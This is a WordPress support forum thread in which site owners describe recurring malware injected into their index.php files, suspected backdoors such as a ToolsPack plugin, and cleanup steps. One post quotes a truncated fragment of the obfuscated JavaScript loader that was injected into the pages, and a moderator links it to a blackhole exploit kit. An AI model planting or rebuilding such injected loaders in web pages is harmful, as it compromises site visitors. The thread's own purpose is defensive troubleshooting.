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  • Hello,
    I have multiple wordpress sites hosted on one server. Google keeps listing a few of my sites as malware, but when I go and look at the suspected code, it looks like it might be meant to be there. It’s on the index.php file of all my sites. The code is below. Could sometime tell me if this code is good or bad or if I should get rid of it? I don’t understand why Google is saying only one of my sites has malware when they all have this code in the index.php file.



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  • Also, getting this error when attempting to access the blog:
    Parse error: syntax error, unexpected '<' in /home/content/s/h/a/sharonbarnes/html/cambodianow/wp-content/themes/twentyeleven/index.php on line 14
    Is this a result of hacking? Can someone help me on how to fix this and if I need to change hosting providers?


    Same here

    <script>if(window.document)try{location(12);}catch(qqq){zz='eval';aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){ss='';s=String;f='fro'+'m'+'C'+'h'+'ar';f+='Code';}ee='e';e=window[zz];t='y';}h=-2*Math.log and then a load of numbers

    i have 2 domains with wordpress hacked on a shared hosting account but 2 other domains with wordpress were unaffected. The affected domains were thankfully much lower use than the others

    Just replace the index.php with a new copy. all is well after but hard to know if any other files are infected

    Only thing that i noticed was that the two affected domains had the twitter for wordpress plugin and the others don’t. could be coincedence

    reinstall all your wordpress and backup your database.
    that is the safest way

    the index.php malware script returned within an hour or two. cant see anything suspicious in the logs, ftp password had been changed. have replaced all the core files except the content and see if it comes back again

    There is a post from yesterday about the script which generates the hack

    a few other posts there also have the same js hack

    I’ve change absolutely all my passwords, deleted the code and it keeps coming back! Help!! I have 5 sites and it would take forever to re-install wordpress on all of them and I’d lose so much data. I don’t have a fresh back up available.

    who is your hosting company? Is it a shared host?

    It’s hosted with GoDaddy.

    I read somewhere that the codes are uploaded via “back doors” that are planted in upload, theme, or plugin folders. It’s almost impossible (IMHO based on hours and hours wasted) to find them.

    I think I was initially hacked via the timthumb vulnerability. There is a plugin to detect and fix that, if necessary. There are plugins that will also scan your site for vulnerabilities. You *might* be able to find the hacks, but I was never successful.

    I wound up gutting everything and reinstalling from scratch. I’m still having problems… 🙁

    That’s brutal. So even gutting it all didn’t fix it for you? Did you change hosting providers?

    I haven’t changed hosting providers yet. I have GoDaddy. I put out a call for help, and I want to wait and see what the experts say first.

    I’ve tried AntiVirus (which found the latest problem before I did), Hide Login, and Secure WordPress. Those three are on my blog that supposedly hasn’t been hacked yet, so I’m pretty sure they’re safe. But I don’t trust anything anymore! lol

    You might want to check out some of these plugin recommendations. I don’t know how effective they all are and not all of them are tested with 3.3.1. But they’re worth looking into.

    They *might* help you figure out where the problem is coming from, depending on your issue.

    One of them had detected a problem with my index.php in Twenty Eleven as well, along with a bunch of other things. But I don’t think it’s related to the theme itself.

    If you get redirect malware, try this. It checks the files in your theme.

    I think there was another good plugin, but I can’t remember it atm…

    I would also delete any themes and plugins you aren’t using. Don’t just deactivate them, but delete them.

    Try also checking your site via Sucuri. It will tell you the pages that are producing problems (but that doesn’t mean that’s where the problems are).

    It might help, though, if you can figure out a common thread. I think many of them have to do with Javascript code? I honestly don’t know.

    This whole thing has been a huge wake-up call for me. I just wish I could fix it. lol

    I seem to have found my problem and i wouldn’t be surpised if sharon has same problem

    I had two sites in a hosting plan infected. one site was a dormant wordpress site locked with absolute security plugin which is apparently not secure now

    I then looked on the server logs for this site a saw that a russian server was calling /wp-content/plugins/ToolsPack/ToolsPack.php every hour. I deleted all the files on this site a few hours ago and i can see that toolspack was being hit until i deleted it and now it is a 404 and since then my server is so far ok. The same blog also has an article on this toolspack

    I don’t recall using this toolspack plugin but somehow it got installed, probably through the absolute privacy plugin

    Check all your plugin folders for this plugin

    Edit: Absolute privacy has been fixed now but the plugin had not been updated on my server

    Good tip. I don’t remember seeing that one myself, but I’ll keep an eye out for it.

    Hope it helps her. Thanks for the heads up.

    Some of the code in this post contains a link/is triggering a warning for a blackhole exploit kit.

    Moderator kmessinger


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